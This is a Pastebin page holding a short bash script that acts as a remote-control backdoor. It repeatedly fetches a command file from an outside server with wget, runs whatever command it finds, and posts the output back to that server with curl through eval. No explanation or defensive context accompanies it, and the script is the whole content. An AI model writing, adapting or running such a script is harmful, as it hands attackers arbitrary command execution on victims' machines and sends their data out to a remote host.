Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- last_cache=""
- while :
- do
- content="$(wget 'http://srv4.cinecriciuma.com.br:8000/script/command.txt' -q -O -)"
- if [ "$last_cache" != "$content" ]; then
- last_cache=$content
- if [ "$last_cache" != "" ]; then
- echo "New command: $content"
- r_command="$($content)"
- send_command="curl \"srv4.cinecriciuma.com.br:8000/script/script.php\" --data-urlencode \"result_command=$r_command\""
- eval "$send_command"
- fi
- fi
- echo "..."
- sleep 1
- done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement